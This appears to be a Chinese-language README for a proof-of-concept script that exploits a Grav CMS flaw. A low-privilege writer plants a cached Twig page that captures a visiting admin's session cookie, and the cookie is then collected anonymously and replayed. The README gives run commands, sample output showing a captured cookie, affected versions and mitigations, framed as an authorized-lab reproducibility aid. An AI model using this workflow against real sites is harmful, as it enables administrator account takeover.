针对 Grav 内容 Twig/页面缓存会话接管漏洞的最小化、限定目标范围攻击方验证器,该漏洞已在 Grav 2.0.25 中修复。
公告:
攻击者不拥有管理员用户名或密码。
真实的攻击链是:
管理员操作发生在本脚本之外。exploit.py 不接受
GRAV_ADMIN_USERNAME 或 GRAV_ADMIN_PASSWORD 设置。
回环地址是默认的安全边界。非回环目标需要显式指定
--allow-remote 标志,该标志适用于已授权的 HTB、TryHackMe 或
自有实验机器。
客户端仅在重定向保持在所选目标源内时才跟随重定向,
使用 Python 标准库 HTTP 客户端,应用请求超时,并且仅在显式提供
--show-cookie 时才打印捕获的 Cookie。
仅可针对你拥有或明确获授权测试的 Grav 实例使用。 该脚本会创建一个公开的证明页面。如果目标在多次运行之间保留内容, 请在测试后删除该页面。
get_cookie() 在服务端读取访问管理员的会话 Cookie。页面写入账户仅需低权限写入路径。它不需要
api.pages.read、admin.*、超级管理员访问权限或管理员凭据。
2.0.19 至 2.0.24:在随附的默认内容 Twig
配置下存在漏洞。2.0.0 至 2.0.18,以及 1.7.x:仅在显式启用内容 Twig
时受影响。2.0.25:已修复。运行 Grav 目标,需具备:
此双文件仓库不提供 Grav、PHP、插件、账户或 管理员机器人。受害者访问仍为外部操作。
仅设置低权限写入者凭据或令牌:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
脚本会创建一个随机公开路由,打印其 URL,然后等待。让管理员访问该 URL 一次,然后按 Enter。脚本会执行匿名收集和本地 API 重放。
改用现有的 writer API token:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
适用于非交互式终端或独立的受害者浏览器。
准备页面:
python3 exploit.py --prepare-only
让管理员访问打印出的 URL。然后使用打印出的路由进行收集和重放;此第二阶段无需凭据:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie 打印捕获的会话 cookie,用于本地/授权实验室调试:
captured_cookie=grav-site-<hash>=<session-value>
该值是一个有效凭据。请勿将其粘贴到 GitHub、issue、聊天、截图或日志中。在不使用 --show-cookie 的情况下,脚本会通过重放状态证明同样的影响,同时避免该值出现在输出中。
如果收集在管理员访问之前运行,攻击者请求可能会用空值填充缓存。请准备一个新的随机路由并重复操作。
请勿在仓库中硬编码机器 IP。请在运行时提供当前目标:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
在管理员/机器人访问打印出的 URL 后,收集并重放:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url 仍然是 --target 的兼容性别名。远程 HTTP 会打印明文警告;在机器支持的情况下请使用 HTTPS。
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
captured_cookie 行仅在指定 --show-cookie 时出现。
对 Grav 2.0.25 或更高版本运行相同的两阶段流程,然后使用以下命令收集:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
预期修复后的行为:攻击者不可见会话值,且会话重放不成功。使用 --expect fixed 时,修复后的干净结果会以 0 退出。
升级到 Grav 2.0.25 或更高版本。对于较旧的部署,公告列出了以下临时控制措施:
security.twig_content.process_enabled: false 禁用内容 Twig;或system.pages.never_cache_twig: true;不要将 HttpOnly、Secure 或 SameSite 视为修复措施:存在漏洞的 cookie 读取发生在 Twig 渲染期间的服务端。
由 canhieu 报告。本仓库是对已公开公告的可复现性辅助工具,而非远程扫描器或凭据收集工具。